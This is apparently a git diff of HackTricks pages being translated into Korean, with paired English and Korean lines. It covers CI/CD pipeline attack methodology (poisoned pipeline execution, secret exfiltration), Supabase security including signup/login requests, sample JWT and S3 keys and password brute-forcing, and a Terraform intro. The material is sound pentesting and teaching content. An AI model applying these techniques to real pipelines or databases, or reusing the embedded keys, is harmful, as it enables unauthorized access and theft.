프로젝트의 소스 코드를 포함하는 플랫폼은 민감한 정보를 포함하고 있으며, 사람들은 이 플랫폼 내에서 부여된 권한에 대해 매우 조심해야 합니다. 공격자가 악용할 수 있는 VCS 플랫폼의 일반적인 문제는 다음과 같습니다:
|
||||
|
||||
- **Leaks**: If your code contains leaks in the commits and the attacker can access the repo (because it's public or because he has access), he could discover the leaks.
|
||||
- **Access**: If an attacker can **access to an account inside the VCS platform** he could gain **more visibility and permissions**.
|
||||
- **Register**: Some platforms will just allow external users to create an account.
|
||||
- **SSO**: Some platforms won't allow users to register, but will allow anyone to access with a valid SSO (so an attacker could use his github account to enter for example).
|
||||
- **Credentials**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies... there are several kind of tokens a user could steal to access in some way a repo.
|
||||
- **Webhooks**: VCS platforms allow to generate webhooks. If they are **not protected** with non visible secrets an **attacker could abuse them**.
|
||||
- If no secret is in place, the attacker could abuse the webhook of the third party platform
|
||||
- If the secret is in the URL, the same happens and the attacker also have the secret
|
||||
- **Code compromise:** If a malicious actor has some kind of **write** access over the repos, he could try to **inject malicious code**. In order to be successful he might need to **bypass branch protections**. These actions can be performed with different goals in mid:
|
||||
- Compromise the main branch to **compromise production**.
|
||||
- Compromise the main (or other branches) to **compromise developers machines** (as they usually execute test, terraform or other things inside the repo in their machines).
|
||||
- **Compromise the pipeline** (check next section)
|
||||
- **누출**: 코드에 커밋에서 누출이 포함되어 있고 공격자가 레포에 접근할 수 있다면(공개이거나 접근 권한이 있는 경우), 그는 누출을 발견할 수 있습니다.
|
||||
- **접근**: 공격자가 **VCS 플랫폼 내 계정에 접근할 수 있다면**, 그는 **더 많은 가시성과 권한**을 얻을 수 있습니다.
|
||||
- **등록**: 일부 플랫폼은 외부 사용자가 계정을 생성하는 것을 허용합니다.
|
||||
- **SSO**: 일부 플랫폼은 사용자가 등록하는 것을 허용하지 않지만, 유효한 SSO로 접근하는 것은 허용합니다(예: 공격자가 자신의 github 계정을 사용하여 들어갈 수 있습니다).
|
||||
- **자격 증명**: 사용자 이름+비밀번호, 개인 토큰, ssh 키, Oauth 토큰, 쿠키... 사용자가 레포에 접근하기 위해 훔칠 수 있는 여러 종류의 토큰이 있습니다.
|
||||
- **웹훅**: VCS 플랫폼은 웹훅 생성을 허용합니다. 만약 이들이 **보이지 않는 비밀**로 **보호되지 않는다면**, **공격자가 이를 악용할 수 있습니다**.
|
||||
- 비밀이 없다면, 공격자는 제3자 플랫폼의 웹훅을 악용할 수 있습니다.
|
||||
- 비밀이 URL에 있다면, 동일한 일이 발생하며 공격자는 비밀을 가집니다.
|
||||
- **코드 손상:** 악의적인 행위자가 레포에 대해 어떤 종류의 **쓰기** 접근 권한을 가지고 있다면, 그는 **악성 코드를 주입**하려고 시도할 수 있습니다. 성공하기 위해 그는 **브랜치 보호를 우회**해야 할 수도 있습니다. 이러한 행동은 다양한 목표를 가지고 수행될 수 있습니다:
|
||||
- 메인 브랜치를 손상시켜 **프로덕션을 손상**시키기 위해.
|
||||
- 메인(또는 다른 브랜치)을 손상시켜 **개발자 머신을 손상**시키기 위해(개발자들은 보통 자신의 머신에서 테스트, terraform 또는 다른 작업을 실행합니다).
|
||||
- **파이프라인 손상** (다음 섹션 참조)
|
||||
|
||||
## Pipelines Pentesting Methodology
|
||||
|
||||
The most common way to define a pipeline, is by using a **CI configuration file hosted in the repository** the pipeline builds. This file describes the order of executed jobs, conditions that affect the flow, and build environment settings.\
|
||||
These files typically have a consistent name and format, for example — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), and the GitHub Actions YAML files located under .github/workflows. When triggered, the pipeline job **pulls the code** from the selected source (e.g. commit / branch), and **runs the commands specified in the CI configuration file** against that code.
|
||||
파이프라인을 정의하는 가장 일반적인 방법은 **레포지토리에 호스팅된 CI 구성 파일**을 사용하는 것입니다. 이 파일은 실행되는 작업의 순서, 흐름에 영향을 미치는 조건 및 빌드 환경 설정을 설명합니다.\
|
||||
이 파일들은 일반적으로 일관된 이름과 형식을 가지며, 예를 들어 — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), 및 .github/workflows 아래에 위치한 GitHub Actions YAML 파일이 있습니다. 트리거되면, 파이프라인 작업은 선택된 소스(예: 커밋/브랜치)에서 **코드를 가져오고**, **CI 구성 파일에 지정된 명령을 해당 코드에 대해 실행**합니다.
|
||||
|
||||
Therefore the ultimate goal of the attacker is to somehow **compromise those configuration files** or the **commands they execute**.
|
||||
따라서 공격자의 궁극적인 목표는 어떤 식으로든 **이 구성 파일을 손상시키거나** **그들이 실행하는 명령을 손상시키는 것**입니다.
|
||||
|
||||
### PPE - Poisoned Pipeline Execution
|
||||
|
||||
The Poisoned Pipeline Execution (PPE) path exploits permissions in an SCM repository to manipulate a CI pipeline and execute harmful commands. Users with the necessary permissions can modify CI configuration files or other files used by the pipeline job to include malicious commands. This "poisons" the CI pipeline, leading to the execution of these malicious commands.
|
||||
Poisoned Pipeline Execution (PPE) 경로는 SCM 레포지토리의 권한을 악용하여 CI 파이프라인을 조작하고 해로운 명령을 실행합니다. 필요한 권한을 가진 사용자는 CI 구성 파일이나 파이프라인 작업에서 사용하는 다른 파일을 수정하여 악성 명령을 포함할 수 있습니다. 이는 CI 파이프라인을 "오염"시켜 이러한 악성 명령의 실행으로 이어집니다.
|
||||
|
||||
For a malicious actor to be successful performing a PPE attack he needs to be able to:
|
||||
악의적인 행위자가 PPE 공격을 성공적으로 수행하기 위해서는 다음을 할 수 있어야 합니다:
|
||||
|
||||
- Have **write access to the VCS platform**, as usually pipelines are triggered when a push or a pull request is performed. (Check the VCS pentesting methodology for a summary of ways to get access).
|
||||
- Note that sometimes an **external PR count as "write access"**.
|
||||
- Even if he has write permissions, he needs to be sure he can **modify the CI config file or other files the config is relying on**.
|
||||
- For this, he might need to be able to **bypass branch protections**.
|
||||
- **VCS 플랫폼에 대한 쓰기 접근 권한**을 가져야 하며, 보통 파이프라인은 푸시 또는 풀 리퀘스트가 수행될 때 트리거됩니다. (접근 권한을 얻는 방법에 대한 요약은 VCS 펜테스팅 방법론을 참조하십시오).
|
||||
- 때때로 **외부 PR이 "쓰기 접근"으로 간주**된다는 점에 유의해야 합니다.
|
||||
- 쓰기 권한이 있더라도, 그는 **CI 구성 파일이나 구성에 의존하는 다른 파일을 수정할 수 있는지 확인해야 합니다**.
|
||||
- 이를 위해 그는 **브랜치 보호를 우회**할 수 있어야 할 수도 있습니다.
|
||||
|
||||
There are 3 PPE flavours:
|
||||
PPE에는 3가지 변형이 있습니다:
|
||||
|
||||
- **D-PPE**: A **Direct PPE** attack occurs when the actor **modifies the CI config** file that is going to be executed.
|
||||
- **I-DDE**: An **Indirect PPE** attack occurs when the actor **modifies** a **file** the CI config file that is going to be executed **relays on** (like a make file or a terraform config).
|
||||
- **Public PPE or 3PE**: In some cases the pipelines can be **triggered by users that doesn't have write access in the repo** (and that might not even be part of the org) because they can send a PR.
|
||||
- **3PE Command Injection**: Usually, CI/CD pipelines will **set environment variables** with **information about the PR**. If that value can be controlled by an attacker (like the title of the PR) and is **used** in a **dangerous place** (like executing **sh commands**), an attacker might **inject commands in there**.
|
||||
- **D-PPE**: **직접 PPE** 공격은 행위자가 **실행될 CI 구성** 파일을 **수정**할 때 발생합니다.
|
||||
- **I-DDE**: **간접 PPE** 공격은 행위자가 **실행될 CI 구성 파일이 의존하는** **파일**을 **수정**할 때 발생합니다(예: make 파일 또는 terraform 구성).
|
||||
- **공개 PPE 또는 3PE**: 경우에 따라 파이프라인은 **레포에 쓰기 접근 권한이 없는 사용자**에 의해 **트리거될 수 있습니다**(그리고 그들은 조직의 일원이 아닐 수도 있습니다) 왜냐하면 그들이 PR을 보낼 수 있기 때문입니다.
|
||||
- **3PE 명령 주입**: 일반적으로 CI/CD 파이프라인은 **PR에 대한 정보**로 **환경 변수를 설정**합니다. 만약 그 값이 공격자에 의해 제어될 수 있다면(예: PR의 제목) 그리고 **위험한 장소**에서 **사용**된다면(예: **sh 명령 실행**), 공격자는 **거기에 명령을 주입할 수 있습니다**.
|
||||
|
||||
### Exploitation Benefits
|
||||
|
||||
Knowing the 3 flavours to poison a pipeline, lets check what an attacker could obtain after a successful exploitation:
|
||||
파이프라인을 오염시키는 3가지 변형을 알고 나면, 공격자가 성공적인 악용 후에 얻을 수 있는 것들을 살펴보겠습니다:
|
||||
|
||||
- **Secrets**: As it was mentioned previously, pipelines require **privileges** for their jobs (retrieve the code, build it, deploy it...) and this privileges are usually **granted in secrets**. These secrets are usually accessible via **env variables or files inside the system**. Therefore an attacker will always try to exfiltrate as much secrets as possible.
|
||||
- Depending on the pipeline platform the attacker **might need to specify the secrets in the config**. This means that is the attacker cannot modify the CI configuration pipeline (**I-PPE** for example), he could **only exfiltrate the secrets that pipeline has**.
|
||||
- **Computation**: The code is executed somewhere, depending on where is executed an attacker might be able to pivot further.
|
||||
- **On-Premises**: If the pipelines are executed on premises, an attacker might end in an **internal network with access to more resources**.
|
||||
- **Cloud**: The attacker could access **other machines in the cloud** but also could **exfiltrate** IAM roles/service accounts **tokens** from it to obtain **further access inside the cloud**.
|
||||
- **Platforms machine**: Sometimes the jobs will be execute inside the **pipelines platform machines**, which usually are inside a cloud with **no more access**.
|
||||
- **Select it:** Sometimes the **pipelines platform will have configured several machines** and if you can **modify the CI configuration file** you can **indicate where you want to run the malicious code**. In this situation, an attacker will probably run a reverse shell on each possible machine to try to exploit it further.
|
||||
- **Compromise production**: If you ware inside the pipeline and the final version is built and deployed from it, you could **compromise the code that is going to end running in production**.
|
||||
- **비밀**: 앞서 언급했듯이, 파이프라인은 작업을 수행하기 위해 **권한**이 필요하며(코드를 검색하고, 빌드하고, 배포하는 등) 이러한 권한은 보통 **비밀**로 부여됩니다. 이러한 비밀은 보통 **환경 변수나 시스템 내 파일을 통해 접근**할 수 있습니다. 따라서 공격자는 항상 가능한 한 많은 비밀을 유출하려고 할 것입니다.
|
||||
- 파이프라인 플랫폼에 따라 공격자는 **구성에서 비밀을 지정해야 할 수도 있습니다**. 이는 공격자가 CI 구성 파이프라인을 수정할 수 없다면(**I-PPE** 예를 들어), 그는 **그 파이프라인이 가진 비밀만 유출할 수 있다는 것을 의미합니다**.
|
||||
- **계산**: 코드는 어딘가에서 실행되며, 실행되는 위치에 따라 공격자는 더 나아가서 피벗할 수 있습니다.
|
||||
- **온프레미스**: 파이프라인이 온프레미스에서 실행된다면, 공격자는 **더 많은 리소스에 접근할 수 있는 내부 네트워크에 도달할 수 있습니다**.
|
||||
- **클라우드**: 공격자는 **클라우드의 다른 머신에 접근할 수 있지만**, 또한 **IAM 역할/서비스 계정의** **토큰을 유출**하여 **클라우드 내에서 추가 접근을 얻을 수 있습니다**.
|
||||
- **플랫폼 머신**: 때때로 작업은 **파이프라인 플랫폼 머신 내에서 실행**되며, 이는 보통 **더 이상의 접근이 없는 클라우드 내에 있습니다**.
|
||||
- **선택하기:** 때때로 **파이프라인 플랫폼은 여러 머신을 구성**하고 있으며, 만약 CI 구성 파일을 **수정할 수 있다면**, 악성 코드를 실행할 위치를 **지정할 수 있습니다**. 이 상황에서 공격자는 아마도 각 가능한 머신에서 리버스 셸을 실행하여 더 나아가서 악용하려고 할 것입니다.
|
||||
- **프로덕션 손상**: 만약 당신이 파이프라인 내에 있고 최종 버전이 그로부터 빌드되고 배포된다면, 당신은 **프로덕션에서 실행될 코드에 손상을 줄 수 있습니다**.
|
||||
|
||||
## More relevant info
|
||||
|
||||
### Tools & CIS Benchmark
|
||||
|
||||
- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) is an open-source tool for auditing your software supply chain stack for security compliance based on a new [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). The auditing focuses on the entire SDLC process, where it can reveal risks from code time into deploy time.
|
||||
- [**Chain-bench**](https://github.com/aquasecurity/chain-bench)는 새로운 [**CIS 소프트웨어 공급망 벤치마크**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf)를 기반으로 보안 준수를 위해 소프트웨어 공급망 스택을 감사하는 오픈 소스 도구입니다. 감사는 전체 SDLC 프로세스에 초점을 맞추며, 코드 시간에서 배포 시간까지의 위험을 드러낼 수 있습니다.
|
||||
|
||||
### Top 10 CI/CD Security Risk
|
||||
|
||||
Check this interesting article about the top 10 CI/CD risks according to Cider: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/)
|
||||
Cider에 따르면 상위 10개 CI/CD 위험에 대한 흥미로운 기사를 확인하십시오: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/)
|
||||
|
||||
### Labs
|
||||
|
||||
- On each platform that you can run locally you will find how to launch it locally so you can configure it as you want to test it
|
||||
- Gitea + Jenkins lab: [https://github.com/cider-security-research/cicd-goat](https://github.com/cider-security-research/cicd-goat)
|
||||
- 로컬에서 실행할 수 있는 각 플랫폼에서 로컬로 실행하는 방법을 찾아 원하는 대로 구성하여 테스트할 수 있습니다.
|
||||
- Gitea + Jenkins 실험실: [https://github.com/cider-security-research/cicd-goat](https://github.com/cider-security-research/cicd-goat)
|
||||
|
||||
### Automatic Tools
|
||||
|
||||
- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** is a static code analysis tool for infrastructure-as-code.
|
||||
- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov**는 인프라스트럭처-코드에 대한 정적 코드 분석 도구입니다.
|
||||
|
||||
## References
|
||||
|
||||
- [https://www.cidersecurity.io/blog/research/ppe-poisoned-pipeline-execution/?utm_source=github\&utm_medium=github_page\&utm_campaign=ci%2fcd%20goat_060422](https://www.cidersecurity.io/blog/research/ppe-poisoned-pipeline-execution/?utm_source=github&utm_medium=github_page&utm_campaign=ci%2fcd%20goat_060422)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -1,50 +1,49 @@
|
||||
# Supabase Security
|
||||
# Supabase 보안
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## 기본 정보
|
||||
|
||||
As per their [**landing page**](https://supabase.com/): Supabase is an open source Firebase alternative. Start your project with a Postgres database, Authentication, instant APIs, Edge Functions, Realtime subscriptions, Storage, and Vector embeddings.
|
||||
그들의 [**랜딩 페이지**](https://supabase.com/)에 따르면: Supabase는 오픈 소스 Firebase 대안입니다. Postgres 데이터베이스, 인증, 즉시 API, 엣지 함수, 실시간 구독, 스토리지 및 벡터 임베딩으로 프로젝트를 시작하세요.
|
||||
|
||||
### Subdomain
|
||||
### 서브도메인
|
||||
|
||||
Basically when a project is created, the user will receive a supabase.co subdomain like: **`jnanozjdybtpqgcwhdiz.supabase.co`**
|
||||
기본적으로 프로젝트가 생성되면 사용자는 **`jnanozjdybtpqgcwhdiz.supabase.co`**와 같은 supabase.co 서브도메인을 받게 됩니다.
|
||||
|
||||
## **Database configuration**
|
||||
## **데이터베이스 구성**
|
||||
|
||||
> [!TIP]
|
||||
> **This data can be accessed from a link like `https://supabase.com/dashboard/project/<project-id>/settings/database`**
|
||||
> **이 데이터는 `https://supabase.com/dashboard/project/<project-id>/settings/database`와 같은 링크에서 접근할 수 있습니다.**
|
||||
|
||||
This **database** will be deployed in some AWS region, and in order to connect to it it would be possible to do so connecting to: `postgres://postgres.jnanozjdybtpqgcwhdiz:[YOUR-PASSWORD]@aws-0-us-west-1.pooler.supabase.com:5432/postgres` (this was crated in us-west-1).\
|
||||
The password is a **password the user put** previously.
|
||||
이 **데이터베이스**는 일부 AWS 리전에서 배포되며, 연결하기 위해서는 다음과 같이 연결할 수 있습니다: `postgres://postgres.jnanozjdybtpqgcwhdiz:[YOUR-PASSWORD]@aws-0-us-west-1.pooler.supabase.com:5432/postgres` (이것은 us-west-1에서 생성되었습니다).\
|
||||
비밀번호는 사용자가 이전에 입력한 **비밀번호**입니다.
|
||||
|
||||
Therefore, as the subdomain is a known one and it's used as username and the AWS regions are limited, it might be possible to try to **brute force the password**.
|
||||
따라서 서브도메인이 알려진 것이고 사용자 이름으로 사용되며 AWS 리전이 제한적이기 때문에 **비밀번호를 무작위 대입 공격**할 가능성이 있을 수 있습니다.
|
||||
|
||||
This section also contains options to:
|
||||
이 섹션에는 다음과 같은 옵션도 포함되어 있습니다:
|
||||
|
||||
- Reset the database password
|
||||
- Configure connection pooling
|
||||
- Configure SSL: Reject plan-text connections (by default they are enabled)
|
||||
- Configure Disk size
|
||||
- Apply network restrictions and bans
|
||||
- 데이터베이스 비밀번호 재설정
|
||||
- 연결 풀 구성
|
||||
- SSL 구성: 평문 연결 거부 (기본적으로 활성화되어 있음)
|
||||
- 디스크 크기 구성
|
||||
- 네트워크 제한 및 금지 적용
|
||||
|
||||
## API Configuration
|
||||
## API 구성
|
||||
|
||||
> [!TIP]
|
||||
> **This data can be accessed from a link like `https://supabase.com/dashboard/project/<project-id>/settings/api`**
|
||||
> **이 데이터는 `https://supabase.com/dashboard/project/<project-id>/settings/api`와 같은 링크에서 접근할 수 있습니다.**
|
||||
|
||||
The URL to access the supabase API in your project is going to be like: `https://jnanozjdybtpqgcwhdiz.supabase.co`.
|
||||
프로젝트에서 supabase API에 접근하는 URL은 다음과 같습니다: `https://jnanozjdybtpqgcwhdiz.supabase.co`.
|
||||
|
||||
### anon api keys
|
||||
### anon API 키
|
||||
|
||||
It'll also generate an **anon API key** (`role: "anon"`), like: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6ImFub24iLCJpYXQiOjE3MTQ5OTI3MTksImV4cCI6MjAzMDU2ODcxOX0.sRN0iMGM5J741pXav7UxeChyqBE9_Z-T0tLA9Zehvqk` that the application will need to use in order to contact the API key exposed in our example in
|
||||
또한 **anon API 키**(`role: "anon"`)를 생성합니다, 예: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6ImFub24iLCJpYXQiOjE3MTQ5OTI3MTksImV4cCI6MjAzMDU2ODcxOX0.sRN0iMGM5J741pXav7UxeChyqBE9_Z-T0tLA9Zehvqk` 애플리케이션이 API 키에 접근하기 위해 사용해야 합니다.
|
||||
|
||||
It's possible to find the API REST to contact this API in the [**docs**](https://supabase.com/docs/reference/self-hosting-auth/returns-the-configuration-settings-for-the-gotrue-server), but the most interesting endpoints would be:
|
||||
이 API에 연락하기 위한 API REST를 [**문서**](https://supabase.com/docs/reference/self-hosting-auth/returns-the-configuration-settings-for-the-gotrue-server)에서 찾을 수 있지만, 가장 흥미로운 엔드포인트는 다음과 같습니다:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Signup (/auth/v1/signup)</summary>
|
||||
|
||||
<summary>가입 (/auth/v1/signup)</summary>
|
||||
```
|
||||
POST /auth/v1/signup HTTP/2
|
||||
Host: id.io.net
|
||||
@@ -69,13 +68,11 @@ Priority: u=1, i
|
||||
|
||||
{"email":"test@exmaple.com","password":"SomeCOmplexPwd239."}
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Login (/auth/v1/token?grant_type=password)</summary>
|
||||
|
||||
<summary>로그인 (/auth/v1/token?grant_type=password)</summary>
|
||||
```
|
||||
POST /auth/v1/token?grant_type=password HTTP/2
|
||||
Host: hypzbtgspjkludjcnjxl.supabase.co
|
||||
@@ -100,68 +97,63 @@ Priority: u=1, i
|
||||
|
||||
{"email":"test@exmaple.com","password":"SomeCOmplexPwd239."}
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
So, whenever you discover a client using supabase with the subdomain they were granted (it's possible that a subdomain of the company has a CNAME over their supabase subdomain), you might try to **create a new account in the platform using the supabase API**.
|
||||
그래서, 클라이언트가 부여받은 서브도메인으로 supabase를 사용하는 것을 발견할 때마다 (회사의 서브도메인이 그들의 supabase 서브도메인에 CNAME이 있을 가능성이 있음), **supabase API를 사용하여 플랫폼에 새 계정을 생성해 보십시오**.
|
||||
|
||||
### secret / service_role api keys
|
||||
### 비밀 / 서비스 역할 API 키
|
||||
|
||||
A secret API key will also be generated with **`role: "service_role"`**. This API key should be secret because it will be able to bypass **Row Level Security**.
|
||||
**`role: "service_role"`**로 비밀 API 키도 생성됩니다. 이 API 키는 **Row Level Security**를 우회할 수 있기 때문에 비밀이어야 합니다.
|
||||
|
||||
The API key looks like this: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6InNlcnZpY2Vfcm9sZSIsImlhdCI6MTcxNDk5MjcxOSwiZXhwIjoyMDMwNTY4NzE5fQ.0a8fHGp3N_GiPq0y0dwfs06ywd-zhTwsm486Tha7354`
|
||||
API 키는 다음과 같습니다: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6InNlcnZpY2Vfcm9sZSIsImlhdCI6MTcxNDk5MjcxOSwiZXhwIjoyMDMwNTY4NzE5fQ.0a8fHGp3N_GiPq0y0dwfs06ywd-zhTwsm486Tha7354`
|
||||
|
||||
### JWT Secret
|
||||
### JWT 비밀
|
||||
|
||||
A **JWT Secret** will also be generate so the application can **create and sign custom JWT tokens**.
|
||||
**JWT 비밀**도 생성되어 애플리케이션이 **사용자 정의 JWT 토큰을 생성하고 서명**할 수 있습니다.
|
||||
|
||||
## Authentication
|
||||
## 인증
|
||||
|
||||
### Signups
|
||||
### 가입
|
||||
|
||||
> [!TIP]
|
||||
> By **default** supabase will allow **new users to create accounts** on your project by using the previously mentioned API endpoints.
|
||||
> 기본적으로 supabase는 **새 사용자가 프로젝트에 계정을 생성**할 수 있도록 허용합니다.
|
||||
|
||||
However, these new accounts, by default, **will need to validate their email address** to be able to login into the account. It's possible to enable **"Allow anonymous sign-ins"** to allow people to login without verifying their email address. This could grant access to **unexpected data** (they get the roles `public` and `authenticated`).\
|
||||
This is a very bad idea because supabase charges per active user so people could create users and login and supabase will charge for those:
|
||||
그러나 이러한 새 계정은 기본적으로 **로그인하기 위해 이메일 주소를 확인해야** 합니다. 이메일 주소를 확인하지 않고도 로그인할 수 있도록 **"익명 로그인 허용"**을 활성화할 수 있습니다. 이는 **예상치 못한 데이터**에 대한 접근을 허용할 수 있습니다 (그들은 `public` 및 `authenticated` 역할을 받습니다).\
|
||||
이는 매우 나쁜 아이디어입니다. 왜냐하면 supabase는 활성 사용자당 요금을 부과하기 때문에 사람들이 사용자를 생성하고 로그인할 수 있으며 supabase는 이에 대해 요금을 부과할 수 있기 때문입니다:
|
||||
|
||||
<figure><img src="../images/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Passwords & sessions
|
||||
### 비밀번호 및 세션
|
||||
|
||||
It's possible to indicate the minimum password length (by default), requirements (no by default) and disallow to use leaked passwords.\
|
||||
It's recommended to **improve the requirements as the default ones are weak**.
|
||||
최소 비밀번호 길이(기본값), 요구 사항(기본값 없음)을 지정하고 유출된 비밀번호 사용을 금지할 수 있습니다.\
|
||||
기본 요구 사항이 약하기 때문에 **요구 사항을 개선하는 것이 좋습니다**.
|
||||
|
||||
- User Sessions: It's possible to configure how user sessions work (timeouts, 1 session per user...)
|
||||
- Bot and Abuse Protection: It's possible to enable Captcha.
|
||||
- 사용자 세션: 사용자 세션 작동 방식을 구성할 수 있습니다 (타임아웃, 사용자당 1세션...)
|
||||
- 봇 및 남용 보호: Captcha를 활성화할 수 있습니다.
|
||||
|
||||
### SMTP Settings
|
||||
### SMTP 설정
|
||||
|
||||
It's possible to set an SMTP to send emails.
|
||||
이메일을 보내기 위해 SMTP를 설정할 수 있습니다.
|
||||
|
||||
### Advanced Settings
|
||||
### 고급 설정
|
||||
|
||||
- Set expire time to access tokens (3600 by default)
|
||||
- Set to detect and revoke potentially compromised refresh tokens and timeout
|
||||
- MFA: Indicate how many MFA factors can be enrolled at once per user (10 by default)
|
||||
- Max Direct Database Connections: Max number of connections used to auth (10 by default)
|
||||
- Max Request Duration: Maximum time allowed for an Auth request to last (10s by default)
|
||||
- 액세스 토큰의 만료 시간 설정 (기본값 3600)
|
||||
- 잠재적으로 손상된 새로 고침 토큰을 감지하고 취소하는 설정
|
||||
- MFA: 사용자당 한 번에 등록할 수 있는 MFA 요소 수를 지정 (기본값 10)
|
||||
- 최대 직접 데이터베이스 연결: 인증에 사용되는 최대 연결 수 (기본값 10)
|
||||
- 최대 요청 지속 시간: 인증 요청이 지속될 수 있는 최대 시간 (기본값 10초)
|
||||
|
||||
## Storage
|
||||
## 저장소
|
||||
|
||||
> [!TIP]
|
||||
> Supabase allows **to store files** and make them accesible over a URL (it uses S3 buckets).
|
||||
> Supabase는 **파일을 저장**하고 URL을 통해 접근할 수 있도록 허용합니다 (S3 버킷을 사용합니다).
|
||||
|
||||
- Set the upload file size limit (default is 50MB)
|
||||
- The S3 connection is given with a URL like: `https://jnanozjdybtpqgcwhdiz.supabase.co/storage/v1/s3`
|
||||
- It's possible to **request S3 access key** that are formed by an `access key ID` (e.g. `a37d96544d82ba90057e0e06131d0a7b`) and a `secret access key` (e.g. `58420818223133077c2cec6712a4f909aec93b4daeedae205aa8e30d5a860628`)
|
||||
- 업로드 파일 크기 제한 설정 (기본값 50MB)
|
||||
- S3 연결은 다음과 같은 URL로 제공됩니다: `https://jnanozjdybtpqgcwhdiz.supabase.co/storage/v1/s3`
|
||||
- `access key ID` (예: `a37d96544d82ba90057e0e06131d0a7b`)와 `secret access key` (예: `58420818223133077c2cec6712a4f909aec93b4daeedae205aa8e30d5a860628`)로 구성된 **S3 액세스 키를 요청**할 수 있습니다.
|
||||
|
||||
## Edge Functions
|
||||
## 엣지 함수
|
||||
|
||||
It's possible to **store secrets** in supabase also which will be **accessible by edge functions** (the can be created and deleted from the web, but it's not possible to access their value directly).
|
||||
supabase에 **비밀을 저장**할 수도 있으며, 이는 **엣지 함수에 의해 접근 가능**합니다 (웹에서 생성 및 삭제할 수 있지만, 그 값을 직접 접근할 수는 없습니다).
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -6,302 +6,272 @@
|
||||
|
||||
[From the docs:](https://developer.hashicorp.com/terraform/intro)
|
||||
|
||||
HashiCorp Terraform is an **infrastructure as code tool** that lets you define both **cloud and on-prem resources** in human-readable configuration files that you can version, reuse, and share. You can then use a consistent workflow to provision and manage all of your infrastructure throughout its lifecycle. Terraform can manage low-level components like compute, storage, and networking resources, as well as high-level components like DNS entries and SaaS features.
|
||||
HashiCorp Terraform은 **코드로서의 인프라 도구**로, 인간이 읽을 수 있는 구성 파일에서 **클라우드 및 온프레미스 리소스**를 정의할 수 있게 해줍니다. 이러한 파일은 버전 관리, 재사용 및 공유가 가능합니다. 그런 다음 일관된 워크플로를 사용하여 인프라의 전체 수명 주기 동안 모든 인프라를 프로비저닝하고 관리할 수 있습니다. Terraform은 컴퓨트, 스토리지 및 네트워킹 리소스와 같은 저수준 구성 요소뿐만 아니라 DNS 항목 및 SaaS 기능과 같은 고수준 구성 요소를 관리할 수 있습니다.
|
||||
|
||||
#### How does Terraform work?
|
||||
#### Terraform은 어떻게 작동하나요?
|
||||
|
||||
Terraform creates and manages resources on cloud platforms and other services through their application programming interfaces (APIs). Providers enable Terraform to work with virtually any platform or service with an accessible API.
|
||||
Terraform은 클라우드 플랫폼 및 기타 서비스에서 리소스를 생성하고 관리하기 위해 애플리케이션 프로그래밍 인터페이스(API)를 사용합니다. 프로바이더는 Terraform이 접근 가능한 API가 있는 거의 모든 플랫폼이나 서비스와 작업할 수 있도록 합니다.
|
||||
|
||||
.png>)
|
||||
|
||||
HashiCorp and the Terraform community have already written **more than 1700 providers** to manage thousands of different types of resources and services, and this number continues to grow. You can find all publicly available providers on the [Terraform Registry](https://registry.terraform.io/), including Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog, and many more.
|
||||
HashiCorp와 Terraform 커뮤니티는 이미 **1700개 이상의 프로바이더**를 작성하여 수천 가지 유형의 리소스와 서비스를 관리하고 있으며, 이 숫자는 계속 증가하고 있습니다. 모든 공개 프로바이더는 [Terraform Registry](https://registry.terraform.io/)에서 찾을 수 있으며, 여기에는 Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog 등이 포함됩니다.
|
||||
|
||||
The core Terraform workflow consists of three stages:
|
||||
핵심 Terraform 워크플로는 세 가지 단계로 구성됩니다:
|
||||
|
||||
- **Write:** You define resources, which may be across multiple cloud providers and services. For example, you might create a configuration to deploy an application on virtual machines in a Virtual Private Cloud (VPC) network with security groups and a load balancer.
|
||||
- **Plan:** Terraform creates an execution plan describing the infrastructure it will create, update, or destroy based on the existing infrastructure and your configuration.
|
||||
- **Apply:** On approval, Terraform performs the proposed operations in the correct order, respecting any resource dependencies. For example, if you update the properties of a VPC and change the number of virtual machines in that VPC, Terraform will recreate the VPC before scaling the virtual machines.
|
||||
